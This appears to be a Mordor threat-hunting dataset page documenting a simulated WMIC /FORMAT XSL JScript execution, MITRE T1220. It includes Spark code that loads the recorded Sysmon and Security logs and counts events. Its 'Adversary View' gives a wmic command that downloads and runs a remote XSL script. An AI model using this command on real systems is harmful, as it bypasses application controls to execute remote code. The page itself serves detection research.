WMIC Remote XSL Jscript Execution

Metadata

Author

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/10/17

Modification Date

2020/10/17

Tactics

[‘TA0005’]

Techniques

[‘T1220’]

Tags

None

Dataset Description

This dataset represents adversaries proxy executing code and bypassing application controls by leveraging wmic and the /FORMAT argument switch to download and execute an XSL file (jscript).

Notebooks

Notebooks created by the community leveraging the mordor datasets

Author

Name

Link

Simulation Plan

Environment

Tool Type

Module

Lab VM

Manual

wmicscript

Adversary View

wmic process list /FORMAT:"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl"

Explore Mordor Dataset

Initialize Analytics Engine

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/wmic_remote_xsl_jscript.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname    |Channel                             |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10     |498  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7      |400  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12     |175  |
|WORKSTATION5|Security                            |4674   |76   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13     |61   |
|WORKSTATION5|Security                            |4658   |32   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9      |19   |
|WORKSTATION5|Security                            |4690   |16   |
|WORKSTATION5|Security                            |4656   |16   |
|WORKSTATION5|Security                            |4663   |15   |
|WORKSTATION5|Security                            |4703   |10   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11     |9    |
|WORKSTATION5|Security                            |4688   |6    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1      |6    |
|WORKSTATION5|Security                            |4673   |4    |
|WORKSTATION5|Security                            |5158   |4    |
|WORKSTATION5|Security                            |5156   |3    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5      |2    |
|WORKSTATION5|Security                            |4689   |2    |
|WORKSTATION5|Security                            |4670   |2    |
+------------+------------------------------------+-------+-----+
only showing top 20 rows